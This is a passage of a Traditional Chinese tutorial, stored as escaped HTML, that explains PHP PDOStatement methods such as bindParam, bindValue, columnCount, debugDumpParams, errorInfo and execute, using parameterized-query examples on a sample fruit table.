class=\"php variable\">$calories<\/code> <code class=\"php plain\">= 150;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$colour<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT name, colour, calories<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM fruit<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE calories &lt; :calories AND colour = :colour');<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':calories'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">, PDO::PARAM_INT);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':colour'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">, PDO::PARAM_STR, 12);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">\/\/ \u5c0d\u61c9\u7684<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">\/*\u00a0Execute\u00a0a\u00a0prepared\u00a0statement\u00a0by\u00a0binding\u00a0PHP\u00a0variables\u00a0*\/<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$calories<\/code>\u00a0<code class=\"php plain\">=\u00a0150;<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php variable\">$colour<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php variable\">$sth<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT\u00a0name,\u00a0colour,\u00a0calories<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM\u00a0fruit<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE\u00a0calories\u00a0&lt;\u00a0?\u00a0AND\u00a0colour\u00a0=\u00a0?');<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(1,\u00a0<\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">,\u00a0PDO::PARAM_INT);<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(2,\u00a0<\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">,\u00a0PDO::PARAM_STR,\u00a012);<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::bindValue<\/div>\n<div><\/div>\n<div>\u53c3\u6578\u8aaa\u660e:<\/div>\n<div>\n<ul>\n<li>parameter\uff1a\u53c3\u6578\u6a19\u8b58\u7b26\u3002\u5c0d\u65bc\u4f7f\u7528\u547d\u540d\u4f54\u4f4d\u7b26\u7684\u9810\u8655\u7406\u8a9e\u53e5\uff0c\u61c9\u662f\u985e\u4f3c :name \u5f62\u5f0f\u7684\u53c3\u6578\u540d\u3002\u5c0d\u65bc\u4f7f\u7528\u554f\u865f\u4f54\u4f4d\u7b26\u7684\u9810\u8655\u7406\u8a9e\u53e5\uff0c\u61c9\u662f\u4ee51\u958b\u59cb\u7d22\u5f15\u7684\u53c3\u6578\u4f4d\u7f6e\u3002<\/li>\n<li>value\uff1a\u7d81\u5b9a\u5230\u53c3\u6578\u7684\u503c<\/li>\n<li>data_type\uff1a\u4f7f\u7528 PDO::PARAM_* \u5e38\u6578\u660e\u78ba\u5730\u6307\u5b9a\u53c3\u6578\u7684\u985e\u578b\u3002<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<div>\u5dee\u7570\u00a0bindParamm \u8207\u00a0bindValue<\/div>\n<div>bindParam\u6703\u5c07\u4e00\u500bPHP\u8b8a\u6578\u8207SQL\u7d81\u5b9a\uff0c\u7576\u8b8a\u6578\u8b8a\u5316\u6642\uff0cSQL\u4e5f\u6703\u8b8a\u52d5\uff0cbindValue\u5247\u4e0d\u6703\uff0c\u53ea\u6703\u57f7\u884c\u6700\u521d\u7d81\u5b9a\u7684\u503c<\/div>\n<div>\u53c3\u8003\u8cc7\u6599\uff1a<a href=\"http:\/\/stackoverflow.com\/questions\/1179874\/what-is-the-difference-between-bindparam-and-bindvalue\">http:\/\/stackoverflow.com\/questions\/1179874\/what-is-the-difference-between-bindparam-and-bindvalue<\/a><\/div>\n<div><\/div>\n<div>PDOStatement::columnCount<\/div>\n<div>\u56de\u50b3\u57f7\u884c\u7d50\u679c\u7528\u4e86\u5e7e\u500b\u6b04\u4f4d<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_956525\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$dbh<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">new<\/code> <code class=\"php plain\">PDO(<\/code><code class=\"php string\">'odbc:sample'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'db2inst1'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">'ibmdb2'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT name, colour FROM fruit\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php comments\">\/* Count the number of columns in the (non-existent) result set *\/<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$colcount<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;columnCount();<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Before execute(), result set has $colcount columns (should be 0)\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">\/* Count the number of columns in the result set *\/<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$colcount<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;columnCount();<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"After execute(), result set has $colcount columns (should be 2)\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php comments\">Before execute(), result set has 0 columns (should be 0)<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php comments\">After execute(), result set has 2 columns (should be 2)<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::debugDumpParams<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_120320\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<div class=\"line number27 index26 alt2\">27<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Execute a prepared statement by binding PHP variables *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$calories<\/code> <code class=\"php plain\">= 150;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$colour<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT name, colour, calories<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM fruit<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE calories &lt; :calories AND colour = :colour');<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':calories'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">, PDO::PARAM_INT);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindValue(<\/code><code class=\"php string\">':colour'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">, PDO::PARAM_STR, 12);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;debugDumpParams();<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php comments\">SQL: [96] SELECT name, colour, calories<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">FROM fruit<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">WHERE calories &lt; :calories AND colour = :colour<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php comments\">Params:\u00a0 2<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php comments\">Key: Name: [9] :calories<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php comments\">paramno=-1<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php comments\">name=[9] \":calories\"<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php comments\">is_param=1<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php comments\">param_type=1<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php comments\">Key: Name: [7] :colour<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php comments\">paramno=-1<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php comments\">name=[7] \":colour\"<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php comments\">is_param=1<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><code class=\"php comments\">param_type=2<\/code><\/div>\n<div class=\"line number27 index26 alt2\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::errorCode<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_546036\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Provoke an error -- the BONES table does not exist *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$err<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">'SELECT skull FROM bones'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$err<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"\\nPDOStatement::errorCode(): \"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php functions\">print<\/code> <code class=\"php variable\">$err<\/code><code class=\"php plain\">-&gt;errorCode(); <\/code><code class=\"php comments\">\/\/ PDOStatement::errorCode(): 42S02<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::errorInfo<\/div>\n<div>\u56de\u50b3\u503c<\/div>\n<div>0\u00a0\u00a0 \u00a0SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).<br \/>\n1\u00a0\u00a0 \u00a0Driver specific error code.<br \/>\n2\u00a0\u00a0 \u00a0Driver specific error message.<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_193183\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Provoke an error -- the BONES table does not exist *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">'SELECT skull FROM bones'<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php functions\">echo<\/code> <code class=\"php string\">\"\\nPDOStatement::errorInfo():\\n\"<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$arr<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;errorInfo();<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$arr<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php comments\">PDOStatement::errorInfo():<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">Array<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; 42S02<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; -204<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[2] =&gt; [IBM][CLI Driver][DB2\/LINUX] SQL0204N\u00a0 \"DANIELS.BONES\" is an undefined name.\u00a0 SQLSTATE=42704<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::execute<\/div>\n<div>\u57f7\u884c\u4e00\u500b\u9810\u5099\u8a9e\u53e5<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_474103\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Execute a prepared statement by binding a variable and value *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$calories<\/code> <code class=\"php plain\">= 150;<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$colour<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'gre'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT name, colour, calories<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM fruit<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE calories &lt; :calories AND colour LIKE :colour');<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindParam(<\/code><code class=\"php string\">':calories'<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">, PDO::PARAM_INT);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;bindValue(<\/code><code class=\"php string\">':colour'<\/code><code class=\"php plain\">, <\/code><code class=\"php string\">\"%{$colour}%\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">\/\/ \u4ee5\u9663\u5217\u57f7\u884c<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php variable\">$calories<\/code>\u00a0<code class=\"php plain\">=\u00a0150;<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php variable\">$colour<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php variable\">$sth<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT\u00a0name,\u00a0colour,\u00a0calories<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM\u00a0fruit<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE\u00a0calories\u00a0&lt;\u00a0:calories\u00a0AND\u00a0colour\u00a0=\u00a0:colour');<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">':calories'<\/code>\u00a0<code class=\"php plain\">=&gt;\u00a0<\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">,\u00a0<\/code><code class=\"php string\">':colour'<\/code>\u00a0<code class=\"php plain\">=&gt;\u00a0<\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php comments\">\/\/\u4f7f\u7528\uff1f\u57f7\u884c<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php comments\">\/*\u00a0Execute\u00a0a\u00a0prepared\u00a0statement\u00a0by\u00a0passing\u00a0an\u00a0array\u00a0of\u00a0insert\u00a0values\u00a0*\/<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php variable\">$calories<\/code>\u00a0<code class=\"php plain\">=\u00a0150;<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php variable\">$colour<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php string\">'red'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php variable\">$sth<\/code>\u00a0<code class=\"php plain\">=\u00a0<\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare('SELECT\u00a0name,\u00a0colour,\u00a0calories<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">FROM\u00a0fruit<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">WHERE\u00a0calories\u00a0&lt;\u00a0?\u00a0AND\u00a0colour\u00a0=\u00a0?');<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$calories<\/code><code class=\"php plain\">,\u00a0<\/code><code class=\"php variable\">$colour<\/code><code class=\"php plain\">));<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\u4f7f\u7528in\u8a9e\u53e5<\/div>\n<div>\n<div>\n<div id=\"highlighter_829093\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php comments\">\/* Execute a prepared statement using an array of values for an IN clause *\/<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$params<\/code> <code class=\"php plain\">= <\/code><code class=\"php keyword\">array<\/code><code class=\"php plain\">(1, 21, 63, 